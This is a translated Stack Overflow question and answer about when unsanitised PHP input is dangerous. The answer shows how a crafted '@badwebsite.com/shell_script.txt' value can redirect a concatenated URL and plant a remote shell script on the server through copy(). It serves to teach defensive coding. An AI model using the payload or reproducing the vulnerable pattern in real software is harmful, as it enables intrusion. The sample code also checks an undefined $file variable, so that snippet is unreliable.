PHP 漏洞(XSS,...)> 用户 input/url 注入什么时候才能真正造成伤害?

PHP Vulnerability (XSS, ...) > When can user input/url injection actually do harm?

希望这个问题不是太不明确,所以...

我的问题是,我什么时候真正需要注意我如何处理易受攻击的变量,什么时候不需要。例如。使用诸如 ...

之类的东西显然是不安全的
echo $_POST['username']; // insecure !!!

在您的模板中。 $_GET 和 $_SERVER 变量据说也容易受到攻击。所以我必须在 'using' 它们之前对它们进行消毒。但是在这种情况下 'use' 意味着什么。不安全的是例如输出它们,例如使用 echo,将它们未经过滤地写入数据库或将它们放入任何其他 open 上下文中。另一方面,将它们与其他变量进行比较,例如 ...

if ($_SESSION['username'] === $_POST['username']) {};

或将它们嵌入变量中,例如...

$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer

然后检查...

if (file_exists($file)) {};

...,换句话说,将它们保持在某种 封闭的 上下文中是安全的,不是吗? (在我看来,$file-example 在安全性方面可以被视为边界线,但以这种方式使用,我认为可以吗?)。也许有人也知道 openclosed 上下文之间的区别不那么清楚(我希望它们在我的例子中)关注他们。

谢谢

这取决于您要对该文件执行的操作。 username 字段可以传递一些内容,将您指向不在该网站上的文件,例如:

$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];

将解析为 http://not-the-site-you-want.com/bad_stuff.html,并且对于 file_exists($file); 仍然 return 正确。

让我们尝试一个 "real world" 示例,说明为什么您不想只注入 $_POST 个变量然后相信结果。

假设我们要从在线资源中检索用户的图片(比如这张:http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50)并将其存储在本地:

$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
    // Now we have the image stored on our local system
    copy($image, 'assets/' . $username);
}

用户提供以下信息:

$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';

您现在刚刚将 shell 脚本上传到您的网站,可以在 http://www.mywebsite.com/assets/shell_script.php

访问该脚本

一半的安全是了解基础知识并设置限制。另一半是弄清楚某人如何绕过您设置的限制。你的代码可能不受 SQL 注入和 XSS 的影响,但如果你在每个页面请求中传递一个 is_admin 标志作为参数并遵守它,那么有人会找到它并滥用它。

您应该养成这样的习惯,即始终假设如果您编写的代码公开给全世界,就会尝试使用恶意代码。如果您花时间担心需要清理哪些输入以及不需要清理哪些输入,您就会犯错误,使您的应用程序容易受到攻击。

一旦您学会了如何清理输入就不会花费太多精力,而且如果您养成这样做的习惯,您将减少可能受到攻击的暴露区域。应用程序安全性与 "only fixing the important things" 无关,而是在构建整个应用程序时牢记安全性。

不要让坏人好过。